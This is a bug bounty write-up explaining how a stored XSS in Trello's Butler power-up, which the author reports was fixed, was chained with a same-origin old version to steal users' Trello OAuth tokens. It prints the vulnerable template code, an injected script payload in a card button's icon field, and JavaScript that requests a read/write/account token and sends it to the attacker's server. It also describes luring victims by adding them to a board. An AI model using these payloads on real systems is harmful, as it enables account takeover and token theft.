Stealing the Trello token by abusing a cross-iframe XSS on the Butler Plugin

It's been almost three years since my last bug bounty write-up, sorry for that, I will try to share more things that I believe could be of use for the community from now on.

About the bug

Some time ago Trello acquired the Butler power-up, it allows people to define automatic actions in response to Trello events. For instance, "if someone adds a card in this list, then create a second one in this other list". Butler being part of the Trello family, it was added to the scope of the bug bounty program. The bugs I found were on Butler but using them it was possible to steal the Trello token, here is a timeline of the events:

  • I found an XSS that was triggered when the Butler power-up was displayed (by clicking on the upper right Butler button). At the time I did not manage to have it opened automatically when someone was opening the board.
  • Trello solved the bug
  • Some time after I was able to retrigger the same XSS but this time as soon as the Trello board was displayed

I will explain all that in detail. Let's describe the first XSS.

First vulnerability

When you open Butler from a Trello board by clicking on the Butler button in the upper right corner, the Butler modal is displayed. At the time the first thing displayed was the card buttons list.

Basically thanks to Butler you can define additional card buttons displayed on the card that will make custom actions for you. In order to define these card buttons, Butler is using something called PluginData.

When a plugin needs to save data, such as the card button configuration in Butler's case, it can save the data in its own API or ask Trello to save the data for the plugin. Saving the data on Trello is convenient, because Trello is secure and the plugin does not need to provide a reliable API that will be up 100% of the time, this burden is on Trello.

A plugin is loaded inside an iframe on Trello, using a helper provided by Trello the plugin communicates with Trello using the PostMessage API. When you add a card button using Butler, Butler will send the configuration of the button as a JSON payload to Trello to be saved as PluginData. Then when the card button tab is displayed, Butler asks Trello for the PluginData about the existing card buttons and displays them to be administrated (as shown on the picture above).

It is possible to alter these PluginData by calling the Trello API without going through Butler, for instance changing the name of a card button. Then, when Butler is displayed on Trello and the card button tab loaded, this change is reflected in the UI (as Butler will ask for the updated PluginData from Trello). To summarise how the exchange works between Trello and Butler, here is a schema:

The data exchanged is in JSON, it looks like the following for one Card Button:

	"label": "Archive card",
	"icon": "settings icon",
	"image": "gears",
	"cmd": "archive the card",
	"type": "card-button",
	"shared": false,
	"scope": "board",
	"enabled": true,
	"id": "51cc0b313cbab97d460038b9_P12",
	"uid": "51cc0b313cbab97d460038b9",
	"username": "theflofly",
	"t": 1552844624026

On the Butler administration page, this JSON is used to construct the HMTL code.

1: const buttonItem = function(button, not_supported, is_admin) {
2:  const item = $(`
3:    <div id="${util.sanitize(}" class="ui grid transition hidden command">
4:      <div class="two column paddingless row">
5:        <div class="flex paddingless column">
6:          <div class="ui labeled icon limited button">
7:            <i class="${button.icon}"></i>
8:            ${util.sanitize(button.label || '')}
9:          </div>

If you compare the line 7 and 8, you observe that the icon is not sanitized versus the label. The sanitize method does the following:

const sanitize = function(text) {
  return String(text).replace(/[&<>"'/]/g, function(s) {
    return {
      '&': '&amp;',
      '<': '&lt;',
      '>': '&gt;',
      '"': '&quot;',
      "'": '&#39;',
      '/': '&#x2F;',

It replaces some chars by their HTML code in order to avoid a XSS. As we saw before, the icon parameter of the card button is read from the PluginData, for instance on the JSON payload above, the icon attribute was "settings icon", so the HTML generated is:

<i class="settings icon"></i>

Trello owned plugins have a special ability that allows them to generate Trello tokens on behalf of the user using OAuth2, as Trello acquired Butler, it got the same ability, by creating a Card Button (PluginData) for Butler with the following data:

	"label": "Archive card",
	"icon": "\"><script>alert(Auth.getActiveToken());<\/script>",
	"image": "gears",
	"cmd": "archive the card",
	"type": "card-button",
	"shared": false,
	"scope": "board",
	"enabled": true,
	"id": "51cc0b313cbab97d460038b9_P12",
	"uid": "51cc0b313cbab97d460038b9",
	"username": "theflofly",
	"t": 1552844624026

I was able to get the Trello token. Thanks to Auth.getActiveToken() from Butler that trigger the whole OAuth2 sequence and return a Trello token.

Remark: Butler does not save the JSON directly in the PluginData but a LZ-based compressed JSON string. I believe Butler's creator did this because the amount of data a Plugin can save on Trello is limited. Be aware of that if you plan to look at Butler.


So at this point I was able to steal the Trello token when Butler was opened on the board. I reported this vulnerability and it was classified as a P2 (1800$) because of the user interaction needed to trigger the XSS (open the Butler power-up from the board). This issue was solved.

Rediscovering the vulnerability

I continued to search for vulnerabilities on Butler, while doing so I observed that all the frontend resources were using a path such as "", notice the "/master-197/" in the URL. It looked like a version tag and this was confirmed when I tried to load an old Butler version, such as "/master-70/", all the Butler source code was versioned and each version was available under the domain name.

When the Butler plugin was opened on Trello the last version of the code was used (without XSS), and there was no way to change that. At this point I knew the following:

  • A vulnerable version of Butler was served on
  • By default the vulnerable code was asking Trello for the Card Button PluginData when Butler was opened
  • Butler had the right to generate a Trello token but there was a check on the organization owning the plugin, a token was generated only if it was a plugin owned by Trello (if you create a power-up for yourself, you have to pick an organization for which you are admin as owner), because I am not a Trello admin, I cannot pick Trello as the organization owning the plugin.

Because of the last bullet, it was impossible to simply create a power-up with the Butler vulnerable code and exploit it, because my custom plugin would have been owned by my organization Hethical, there was no way to generate a Trello token.

Nonetheless if I load the vulnerable Butler version in my own power-up, I am then able to run arbitrary javascript on Because the real Butler code with the right to generate a Trello token is also served on, it means that I am able from the vulnerable Butler I own to access the javascript context of the real Butler power-up as they share the same origin.

To summarize the evil board that will steal the token from the victim contains two power-ups, Butler and my own custom power-up loading the vulnerable version of Butler. My own power-up is opened by default, no need to click. When it is opened, it retrieves the card button PluginData that contains the javascript payload. This payload call the javascript functions from the real Butler power-up and makes the real Butler power-up ask Trello for a token. As the real Butler is owned by Trello, a token is generated and returned to the real Butler power-up, and my fake Butler power-up can access it as both the real and fake Butler are served on the same origin.

Here is a schema.

The code in the javascript payload, inside the icon property of the card button data is the following:

"icon": "\">
1:    <script>
2:        for(let i = 0; i < window.parent.frames.length; i++) {
3:            let current_frame = window.parent.frames[i];
4:            try {
5:                current_frame.origin
6:            } catch(err) {
7:                continue
8:            }
9:            if( current_frame.window == window)
10:               continue;
11:           current_frame.window._trello.requestWithContext('request-token', {
12:               name: \"Butler\",
13:               key: \"446cbc1d6532c596ddc610207ead5576\",
14:               scope: \"read,write,account\"
14:           }).then(function(token) {
16:               $.get(\"\" + token);
18:           })
19:       }
20:   </script>"

The code is executed under the origin, on line 2 we loop on all the available iframes, then on line 5 we try to access the origin. For all the iframes that are different from, trying to access the origin will raise an exception as we are trying to access data cross origin, in that case we continue to the next iframe.

If it does not raise an exception, we check on line 9 that we have an iframe with the Butler origin but not our own iframe. If it isn't the case it means current_frame is the real Butler iframe. In that case we know that the real Butler iframe has a _trello object to communicate with Trello and that the requestWithContext method will send a postMessage payload to Trello and wait for a postMessage answer back. Basically we call the Trello helper declared in the real Butler iframe. Then when the token is returned we send it to our backend and the damage is done.


The token is stolen just by opening a board, to trap someone, the most efficient way is to add the victim as a member to the evil board, an email from Trello will be sent to the victim and there is a high probability that out of curiosity the victim opens the board.

This second report was also qualified as a P2 (1800$) because following the link to the evil board is considered as a user interaction.